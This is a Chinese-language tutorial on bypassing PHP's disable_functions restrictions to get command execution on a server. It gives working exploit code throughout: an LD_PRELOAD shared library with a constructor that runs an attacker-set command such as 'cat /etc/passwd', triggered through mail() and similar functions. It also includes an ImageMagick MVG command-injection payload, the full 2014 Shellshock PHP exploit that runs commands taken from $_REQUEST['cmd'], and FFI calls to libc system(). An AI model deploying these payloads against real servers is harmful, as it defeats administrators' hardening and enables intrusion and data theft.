1、系统命令执行函数的黑名单绕过
system()
shell_exec() === ``反引号
exec()
passthru()
popen()
proc_open()
pcntl_exec()
dl() // 加载自定义 php 扩展,5.3以后被废弃
2、通过LD_PRELOAD偷梁换柱
先来了解下 LD_PRELOAD:
LD_PRELOAD是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库,所谓的动态链接库其实就是DLL文件
下面是正常的一个strcmp验证的代码:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>
", argv[0]);
return -1;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!
");
return 0;
}
printf("Invalid Password!
");
return -1;
}
正常编译: gcc -o verifypasswd passwd.c
运行:./verifypasswd
结果:
那么尝试利用LD_PRELOAD来优先加载的动态链接库
这个就是我们优先要加载的代码:
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2)
{
printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
/* 永远返回0,表示两个字符串相等 */
return 0;
}
编译:gcc -shared -fPIC -o hack.so hack.c
运行:./verifypasswd passwod
结果:
发现输入错误的密码也能验证成功,原理就是劫持系统函数,使程序加载恶意动态链接库文件,从而执行系统命令等敏感操作
再来将 putenv:
PHP手册定义:设置环境变量的值 (PHP 4, PHP 5, PHP 7)
持续时间是:环境变量仅存活于当前请求期间,在请求结束时环境会恢复到初始状态
<?php
putenv("System=hacked by ctl!!!");
phpinfo();
?>
那么也同样可以设置LD_PRELOAD:
这里讲到的就有如何利用LD_PRELOAD + putenv 来进行绕过PHP禁用函数:
在php中的mail()函数运行时会启动子进程调用 sendmail ,因此我们只要找一个sendmail使用的函数,利用LD_PRELOAD优先加载动态链接库来覆盖掉原函数即可
查找sendmail需要使用的函数:
strace -f php -r "mail('','','','');" 2>&1 | grep -E "execve|fork|vfork"
利用代码:
<?php
putenv("cmd=cat /etc/passwd"); //设置cmd环境变量
putenv("LD_PRELOAD=./bad.so"); //自定义LD_PRELOAD环境变量为当前的bad.so
mail('','','',''); //触发sendmail,从而优先调用我们在bad.so重写的函数
bad.c代码:
通用动态链接库代码
#include <stdlib.h>
__attribute__((constructor)) void j0k3r(){
unsetenv("LD_PRELOAD");
if (getenv("cmd") != NULL){ //获取cmd名称的环境变量
system(getenv("cmd")); //调用系统system函数进行执行(这里的system函数不是php中的system函数,但是底层是一样的)
}else{
system("echo 'no cmd' > /tmp/cmd.output");
}
}
利用 GNU C 中的特殊语法 __attribute__ ((attribute-list))
,当参数为 constructor 时就可以在加载共享库时运行,通常是在程序启动过程中,因为带有"构造函数"属性的函数将在 main() 函数之前被执行,类似的,若是换成 destructor 参数,则该函数会在 main() 函数执行之后或者 exit() 被调用后被自动执行!
简单总结下:过程其实就是 设置想要执行的命令putenv("cmd=cat /etc/passwd");
-> 优先加载自定义动态链接库(前提条件)putenv LD_PRELOAD
-> 调用触发LD_PRELOAD中自己重写的函数 -> 绕过命令执行函数禁用
还需要注意的是:不只是mail能够触发这个函数,如果 mail()
函数同样被禁用,还可以使用:
error_log函数:error_log('',1)
mb_send_mail函数:mb_send_mail('','','')
imap_mail函数:imap_mail("1@a.com","0","1","2","3")
(如果 PHP 开启了 imap 模块)
关于相关模块都可以在PHPINFO中找到,或者是php -m
3、ImageMagick Magick模块绕过
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "n";
function AAAA(){
$command = 'curl 127.0.0.1:7777';
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
}
AAAA();
?>
- PHP 5.x Shellshock Exploit (bypass disable_functions)
PHP < 5.6.2 – Shellshock Safe Mode / Disable Functions Bypass / Command Injection
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
<pre>
<?php echo "Disabled functions: ".ini_get('disable_functions')."n"; ?>
<?php
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variables whose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variables that
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
// PHP will let the user modify ANY environment variable!
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail
}
else return "Not vuln (not bash)";
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
5、PHP-FPM/FastCGI bypass disable_functions
先讲下什么是CGI?
CGI(Common Gateway Interface)。CGI是外部应用程序(CGI程序)与Web服务器之间的接口标准,是在CGI程序和Web服务器之间传递信息的规程。CGI规范允许Web服务器执行外部程序,并将它们的输出发送给Web浏览器,CGI将Web的一组简单的静态超媒体文档变成一个完整的新的交互式媒体。
比如Apache Nginx等web服务器本身只是起到一个数据调度的作用,自己是不会对传过来的数据请求解析、分析的,它们会把这个请求过来的数据分发给能够解析该数据的程序进行解析,这里能识别该数据的应用程序就是CGI程序,Apache和Nginx它们会遵守这个CGI接口的通信协议和格式,解析为该CGI传输格式就会发送给相对应的程序进行处理再返回!
在php中早期使用的cgi,因为缺点多所以有了升级版的fast-cgi,所以现在一般操作系统都是fastcgi模式!
比如在Apache中对于解析php有两种模式:
mod_php 模式:
mod_php 模式是将php模块安装到apache中,所以每一次apache结束的请求呢,都会产生一条进程,这个进程就完整的包括php的各种运算计算等操作。
缺点:把mod_php编进apache时,出问题时很难定位是php的问题还是apache的问题。
mod_fastcgi 模式:
mod_fastcgi模式则刚刚相反,fastcgi是一个独立与apache和php的独立个体,它随着apache一起启动,生成多个cig模块,等着apache的请求:
优点:这样就能应对大规模的并发请求,因为web server的要做的事情少了,所以就更快的去处理下一个请求,这样并发大大的。
由于apache 与 php 独立了。出问题,很好定位到底是哪里出问题了,这点也是这种模式受欢迎的原因之一!
php-fpm:
先说下PHP-CGI就是PHP实现的自带的FastCGI管理器,但是缺点很多!
所以又出现了 php-fpm,它是干嘛的?它就是专门来辅助mode_fastcgi模式的!
也就是替代了PHP-CGI(PHP官方)的一个FastCGI管理器!
那么到了这里,大多数人一般都是使用 fast-cgi模式来对php请求给Apache/Nginx的数据进行处理,然后对fast-cgi进行管理的应用用的都是PHP-FPM
配置Apache/Nginx服务器支持php-fpm的参考文章:https://www.cnblogs.com/-beyond/p/9465551.html
当可以对fast-cgi的协议内容进行控制的时候是不是就可以让fast-cgi执行任意代码了?
肯定是不可以的,详情PHP-FPM代码执行漏洞参考:https://www.cnblogs.com/leixiao-/p/10226633.html
漏洞利用脚本:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
这个复现自己是函数没有禁止的,一旦禁止就无法执行,所以复现失败了。
6、FFI 绕过 disable_functions
PHP7.4 的一个新特性 FFI(Foreign Function Interface),即外部函数接口,可以让我们在 PHP 中调用 C 代码
可以依赖libc.so.6也可以依赖自身创建的so动态链接库
第一种:
<?php
$ffi = FFI::cdef(
"int system(const char *command);",
"libc.so.6");
$ffi->system("id");
?>
第二种:
<?php
$ffi = FFI::cdef(
"int system(const char *command);",
"/var/www/html/bad.so");
?>
bad.c
bad.c
#include <stdlib.h>
__attribute__((constructor)) void j0k3r(){
system("echo Hacked && id");
}